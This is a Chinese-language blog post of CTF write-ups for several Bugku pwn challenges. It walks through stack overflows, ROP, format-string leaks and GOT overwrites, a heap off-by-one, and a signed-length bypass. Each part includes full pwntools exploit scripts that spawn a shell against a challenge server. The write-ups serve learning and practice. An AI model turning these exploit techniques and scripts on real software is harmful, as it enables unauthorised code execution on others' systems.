不定期更新的WP

嘛,打ctf还是需要一定量的练习的,不管是练手还是学习新知都是极好的。

然后要稍微总结一下做题过程中的小问题,就从简单的题目开始好了,难的题目,正在学啦orz

Bugku new

pwn2

直接nc上去就好了。。。然后cat flag

pwn3

最基本的栈溢出,啥保护都没开,直接溢出到返回地址控制返回到get_shell_()函数即可

pwn4

啥保护都没开,程序有system函数,没有"/bin/sh"命令,漏洞也是栈溢出,那么就利用栈溢出输入命令以后返回到system函数中执行,但是注意程序是64位的,所以参数的传递需要依靠RDI寄存器。

1
2
3
4
5
6
7
8
$ checksec pwn4/pwn4 
[*] '/home/cmask/Desktop/Bugku/pwn4/pwn4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

看看主函数内容

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-10h]

memset(&s, 0, 0x10uLL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("Come on,try to pwn me");
read(0, &s, 0x30uLL);
puts("So~sad,you are fail");
return 0LL;
}

可以发现溢出的只有0x18个字节,需要完成的布置有

  • "/bin/sh"输入到一个地址不变的位置(比如.data段)
  • 程序再次运行,将"/bin/sh"的地址赋给RDI,然后返回到system函数处执行

实际操作的时候发现

1
2
3
4
5
.text:000000000040072A                 lea     rax, [rbp+s]    ; s = -0x10
.text:000000000040072E mov edx, 30h ; nbytes
.text:0000000000400733 mov rsi, rax ; buf
.text:0000000000400736 mov edi, 0 ; fd
.text:000000000040073B call _read

发现read的buf是通过rbp-0x10来计算的,这样我们只需要把rbp设置成tar_addr + 0x10就行了,这个可以通过栈溢出直接设置rbp得到,然后返回地址设置成main就可以重新运行。

然后寻找一个合适的gadget,设置rdi,然后返回到system函数就能执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Gadgets information
============================================================
0x00000000004007cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ce : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007d0 : pop r14 ; pop r15 ; ret
0x00000000004007d2 : pop r15 ; ret
0x00000000004007cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007cf : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400630 : pop rbp ; ret
0x00000000004007d3 : pop rdi ; ret
0x00000000004007d1 : pop rsi ; pop r15 ; ret
0x00000000004007cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400541 : ret

Unique gadgets found: 11

这里选择0x00000000004007d3处的gadget,payload设置为padding(0x18) + gadget + data_addr + system_addr

但是在写好exp之后发现还有点问题,那就是由于延迟绑定,我们之前修改rbp的时候返回到read时,程序还会再次返回,这样回修改rsp的值,这时栈的位置就被修改到data段了,但是在延迟绑定的时候,会用到栈的一个比较大的空间,就会导致地址溢出,程序崩溃返回。怎么解决呢?那就是让它先绑定,我们再调用。

在第一次读"/bin/sh"的时候,还剩下8字节没有利用,恰好可以调用一次system,然后返回到read。这样就搞定啦。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python
#-*- coding:utf-8 -*-

from pwn import *
import sys

if len(sys.argv) == 1 or sys.argv[1] == 'g':
p = process('./pwn4')
if len(sys.argv) != 1:
gdb.attach(p)
else:
p = remote('114.116.54.89',10004)

func_addr = 0x400751
vul_addr = 0x601315
read_addr = 0x400720
tar_addr = 0x40075A
pop_rdi = 0x4007d3

p.recvuntil('Come on,try to pwn me\n')
payload = '\x00'*0x10 + p64(vul_addr+0x10) + p64(func_addr) + p64(read_addr)
p.sendline(payload)

p.recvuntil('Come on,try to pwn me\n')
payload = '/bin/sh\x00'.ljust(0x18,'\x00') + p64(pop_rdi) + p64(vul_addr) + p64(tar_addr)
p.sendline(payload)

p.interactive()

pwn5

先查看一下保护

1
2
3
4
5
6
7
$ checksec pwn5/human 
[*] '/home/cmask/Desktop/Bugku/pwn5/human'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

只开了部分写保护和栈不可执行。

看一下程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-20h]

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
memset(&s, 0, 0x20uLL);
puts(&byte_400958); // 人类的本质是什么
read(0, &s, 8uLL);
printf(&s, &s);
puts(&s);
puts(&s);
puts(&s);
puts(&byte_400978); // 一位群友打烂了复读机
sleep(1u);
puts(byte_400998);
read(0, &s, 0x40uLL); // 人类还有什么本质
if ( !strstr(&s, &byte_4009B3) || !strstr(&s, &byte_4009BA) )// 鸽子 真香
{
puts(&byte_4009C8); // 你并没有理解人类的本质
exit(0);
}
puts(&byte_4009F8); // 人类的三大本质:复读机,鸽子,真香
return 0;
}

程序有一次格式化字符串漏洞和一次栈溢出,溢出大小为0x18。同时注意到格式化字符串参数只有8个字节。目前的思路为:

  • 通过格式化字符串漏洞,泄露libc地址。
  • 寻找one gadget,通过修改返回地址get shell

首先通过调试,查看栈上是否有什么有趣的东西,我们知道由于调用,栈上应该保存了__libc_start_main相关的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
──────[ DISASM ]───────
► 0x7ffff7a62800 <printf> sub rsp, 0xd8
0x7ffff7a62807 <printf+7> test al, al
0x7ffff7a62809 <printf+9> mov qword ptr [rsp + 0x28], rsi
0x7ffff7a6280e <printf+14> mov qword ptr [rsp + 0x30], rdx
0x7ffff7a62813 <printf+19> mov qword ptr [rsp + 0x38], rcx
0x7ffff7a62818 <printf+24> mov qword ptr [rsp + 0x40], r8
0x7ffff7a6281d <printf+29> mov qword ptr [rsp + 0x48], r9
0x7ffff7a62822 <printf+34> je printf+91 <0x7ffff7a6285b>

0x7ffff7a6285b <printf+91> lea rax, [rsp + 0xe0]
0x7ffff7a62863 <printf+99> mov rsi, rdi
0x7ffff7a62866 <printf+102> lea rdx, [rsp + 8]
───────[ STACK ]───────
00:0000│ rsp 0x7fffffffdde8 —▸ 0x400821 (main+139) ◂— lea rax, [rbp - 0x20]
01:0008│ rdi rsi 0x7fffffffddf0 ◂— 0xa333231 /* '123\n' */
02:0010│ 0x7fffffffddf8 ◂— 0x0
... ↓
05:0028│ rbp 0x7fffffffde10 —▸ 0x4008d0 (__libc_csu_init) ◂— push r15
06:0030│ 0x7fffffffde18 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
07:0038│ 0x7fffffffde20 ◂— 0x1
─────[ BACKTRACE ]─────
► f 0 7ffff7a62800 printf
f 1 400821 main+139
f 2 7ffff7a2d830 __libc_start_main+240
───────────────────────
pwndbg> x/20xg $rsp
0x7fffffffdde8: 0x0000000000400821 0x000000000a333231
0x7fffffffddf8: 0x0000000000000000 0x0000000000000000
0x7fffffffde08: 0x0000000000000000 0x00000000004008d0
0x7fffffffde18: 0x00007ffff7a2d830 0x0000000000000001
0x7fffffffde28: 0x00007fffffffdef8 0x00000001f7ffcca0
0x7fffffffde38: 0x0000000000400796 0x0000000000000000
0x7fffffffde48: 0xefbb4683d2af65fd 0x00000000004006a0
0x7fffffffde58: 0x00007fffffffdef0 0x0000000000000000
0x7fffffffde68: 0x0000000000000000 0x1044b9fc7f4f65fd
0x7fffffffde78: 0x1044a9466cdf65fd 0x0000000000000000

可以发现,栈上0x7fffffffde18存着__libc_start_main+240的值,这样就能通过计算偏移,然后就能得到__libc_start_main的地址。通过计算,我们可以得到用来得到地址的字符串应该是%11$llx

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python
#-*- coding:utf-8 -*-

from pwn import *
import sys
import LibcSearcher

if len(sys.argv) == 1 or sys.argv[1] == 'g':
p = process('./human')
if len(sys.argv) != 1:
gdb.attach(p)
else:
p = remote('114.116.54.89',10005)

p.recvuntil('人类的本质是什么?\n')
payload ='%11$llx'
p.sendline(payload)
p.recvuntil('\n')
num = p.recv(12)
#log.info('recv 0x'+num)
libc_main_addr = int('0x'+num,16) - 0xf0

log.success('__libc_start_main '+hex(libc_main_addr))

libc = LibcSearcher.LibcSearcher('__libc_start_main',libc_main_addr)
libc_base = libc_main_addr - libc.dump('__libc_start_main')

#0: 0x45206 0x4525a 0xef9f4 0xf0897
#1: 0x45216 0x2526a 0xf02a4 0xf1147
one_gadget = 0x45216

one_addr = libc_base + one_gadget

p.recvuntil('人类还有什么本质?\n')
payload = '\xe9\xb8\xbd\xe5\xad\x90\xe7\x9c\x9f\xe9\xa6\x99\x00'.ljust(0x28,'\x00') + p64(one_addr)
p.sendline(payload)

p.interactive()

pwn6

这是个堆题,先查看一下保护

1
2
3
4
5
6
7
$ checksec pwn6/heap1 
[*] '/home/cmask/Desktop/Bugku/pwn6/heap1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

观察一下程序,实现了一个记事本的功能,有新建、修改、删除、查看功能。

发现在edit函数功能中有个off by one漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 edit()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("input the id of note :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("error!");
_exit(0);
}
if ( ptr[v1] )
{
printf("input your note : ", &buf);
my_read(*((void **)ptr[v1] + 1), *(_QWORD *)ptr[v1] + 1LL); //off by one
puts("has done !");
}
else
{
puts("no such note !");
}
return __readfsqword(0x28u) ^ v3;
}

程序限制最多有10个记录,在新建记录的时候,会malloc(0x10)作为索引,前8字节存储大小,后8字节存储malloc(size)指针,然后内容存储在分配的chunk中。删除的时候会清空指针,所以没有uaf。

通过off by one,得到大致利用思路为

  • 通过修改堆块的size域,然后free后再malloc,造成堆块重叠,覆盖掉某一个索引,这样可以实现任意地址写。
  • 通过任意地址写,先泄露libc的地址,然后再通过任意地址写,把free函数的got表改写为system函数的地址
  • 预先设置一个记录内容为"/bin/sh",改写free的got表后释放该记录,就能get shell

堆块重叠情况示意

pwn6_1.png

这样块2的索引我们就能控制了

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/python
#-*- coding:utf-8 -*-

from pwn import *
import sys
import LibcSearcher

if len(sys.argv) == 1 or sys.argv[1] == 'g':
p = process('./heap1')
if len(sys.argv) != 1:
gdb.attach(p,'b *0x400dcb\nc')
else:
p = remote('114.116.54.89',10006)

elf = ELF('./heap1')
free_got = elf.got['free']

def create(size, content):
p.recvuntil('input your choice :')
p.sendline('1')
p.recvuntil('input the size of note :')
p.sendline(str(size))
p.recvuntil('Content of note:')
p.sendline(content)
p.recvuntil('has done')

def edit(index, content):
p.recvuntil('input your choice :')
p.sendline('2')
p.recvuntil('input the id of note :')
p.sendline(str(index))
p.recvuntil('input your note : ')
p.sendline(content)
p.recvuntil('has done !')

def show(index):
p.recvuntil('input your choice :')
p.sendline('3')
p.recvuntil('input the id of note :')
p.sendline(str(index))
p.recvuntil('Content : ')
ret = p.recvuntil('\nDone !')
return ret

def delete(index):
p.recvuntil('input your choice :')
p.sendline('4')
p.recvuntil('input the id of note :')
p.sendline(str(index))
p.recvuntil('has done !')

create(0x18,'1')
create(0x20,'2')
create(0x18,'3')
create(0x10,'4')
create(0x10,'/bin/sh')

payload = '\x00'*0x18+'\x91'
edit(0,payload)
delete(1)

create(0x60,'a'*8)

payload = 'a'*0x30 + p64(0x18) + p64(free_got)
edit(1,payload)

free_addr = u64(show(2)[:6].ljust(8,'\x00'))

log.success('free '+hex(free_addr))

libc = LibcSearcher.LibcSearcher('free',free_addr)
libc_base = free_addr - libc.dump('free')
sys_addr = libc_base + libc.dump('system')

log.success('system '+hex(sys_addr))

edit(2,p64(sys_addr))

p.recvuntil('input your choice :')
p.sendline('4')
p.recvuntil('input the id of note :')
p.sendline('4')

p.interactive()

pwn8

pwn8看起来是一个基础的ret2libc的题,事实上直接按照ret2libc的方式写本地就能get shell,但是远程不知道为啥不可以,自己试了试感觉应该是远程的缓冲区设置有一点点问题,远程需要先输入才有“ret2libc play”的欢迎语,就有点奇怪orz

至于对返回地址的判断,由于使用的是int类型的,所以过大的地址,比如system的地址,会被认为是负数orz,相当于这个判断没有起作用。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/python
#-*- coding:utf-8 -*-

from pwn import *
import LibcSearcher
import sys

if len(sys.argv) == 1:
p = process('./pwn8')
elif sys.argv[1] == 'g':
p = process('./pwn8')
gdb.attach(p)
else:
p = remote('114.116.54.89',10008)

context.log_level = 'debug'

elf = ELF('./pwn8')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x080484A1
mid_addr = 0x080484A0

log.info('got '+hex(puts_got))
log.info('plt '+hex(puts_plt))

p.recvuntil('ret2libc play\n')

payload = '\x00'*0x14 + p32(puts_plt) + p32(main_addr) + p32(puts_got)

p.sendline(payload)

puts_addr = u32(p.recv(4))
log.info('puts '+hex(puts_addr))

libc = LibcSearcher.LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
str_addr = libc_base + libc.dump('str_bin_sh')

log.info('system '+hex(sys_addr))

payload = '\x00'*0x14 + p32(sys_addr) + p32(main_addr) + p32(str_addr)

p.recvuntil('ret2libc play\n')
p.sendline(payload)

p.interactive()

pwn9

这就是一个典型的格式化字符串的题,而且程序也给了get shell的函数,也没开PIE,就只需要把需要修改的位置放置到栈上,然后通过格式化字符串漏洞的利用方式修改就行。

但是,问题就是,不知道栈地址就不能修改到返回地址,那咋整呢。

那么,看到程序开了canary保护,这样,我们可以修改__stack_chk_fail函数的got表呀,把其修改成目标函数的地址,然后我们触发canary,这样程序就会执行__stack_chk_fail函数,这样,就能执行我们希望的函数了。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python
#-*- coding:utf-8 -*-

from pwn import *
import sys

if len(sys.argv) == 1:
p = process('./babyfmt')
elif sys.argv[1] == 'g':
p = process('./babyfmt')
gdb.attach(p,'b *0x400664\nc')
else:
p = remote('114.116.54.89',10009)

def get_cmd(value, position):
if len(value) != len(position):
return 'Length unmatch'
book = {}
for (i,j) in zip(value, position):
book[i] = j
value.sort()
offset = [value[0]]
for i in range(1,len(value)):
offset.append(value[i]-value[i-1])
cmd = ''
for i in range(len(offset)):
cmd += '%0'+str(offset[i]) + 'c%' + str(book[value[i]]) + '$hhn'
return cmd

fini_arr = 0x601018

vul_addr = ''.join(p64(fini_arr + i) for i in range(3))
tar_addr = 0x400626

val = [0x26,0x06,0x40]
pos = [12,13,14]

cmd = get_cmd(val,pos)

log.success(cmd)
log.info('len '+hex(len(cmd)))

payload = cmd.ljust(0x30,'\x00') + vul_addr

sleep(1)

p.sendline(payload.ljust(0x60,'\x00'))

p.interactive()

pwn11

同样,先查看一下保护

1
2
3
4
5
6
7
$ checksec f4n_pwn 
[*] '/home/cmask/Desktop/Bugku/pwn11/f4n_pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

程序本身有点复杂,但是在最开始的函数中就有栈溢出的漏洞,然后程序也没有开canary保护。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int read_name()
{
char s[80]; // [esp+8h] [ebp-60h]
unsigned int v2; // [esp+58h] [ebp-10h]
unsigned int i; // [esp+5Ch] [ebp-Ch]

memset(s, 0, 0x50u);
__isoc99_scanf("%ld", &v2);
if ( (signed int)v2 > 48 )
{
puts("too long!!! u are a hacker!!!");
exit(0);
}
puts("please tell me your name : ");
fflush(stdout);
fflush(stdin);
for ( i = 0; i < v2; ++i )
{
read(0, &s[i], 1u);
if ( s[i] == 10 )
{
s[i] = 0;
return printf("helllo %s\n", s);
}
}
return printf("helllo %s\n", s);
}

可以发现,虽然v2是unsigned int类型,但是在比较的时候,是转换成signed int类型。这样,如果输入-1,那么就可以输入4294967295个字符,这样,我们就能直接返回到目标函数了。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python
#-*- coding:utf-8 -*-

from pwn import *
import sys

if len(sys.argv) == 1:
p = process('./f4n_pwn')
elif sys.argv[1] == 'g':
p = process('./f4n_pwn')
gdb.attach(p,'b *0x0804879E\n')
else:
p = remote('114.116.54.89',10011)

tar_addr = 0x080486BB

p.recvuntil('input your name length : \n')
p.sendline('-1')

p.recvuntil('please tell me your name : \n')

payload = 'a'*0x50 + '\xff\xff\xff\xff' + p32(0x58) + 'a'*0x8 + p32(tar_addr)
p.sendline(payload)

p.interactive()

小结

题目还没写完啊,主要是有些知识点还没弄懂,基础一点有ret2dlresolve,以及IO_file的操作,我IO_file的利用连例子都没成功orz。。。

还是太菜了。。。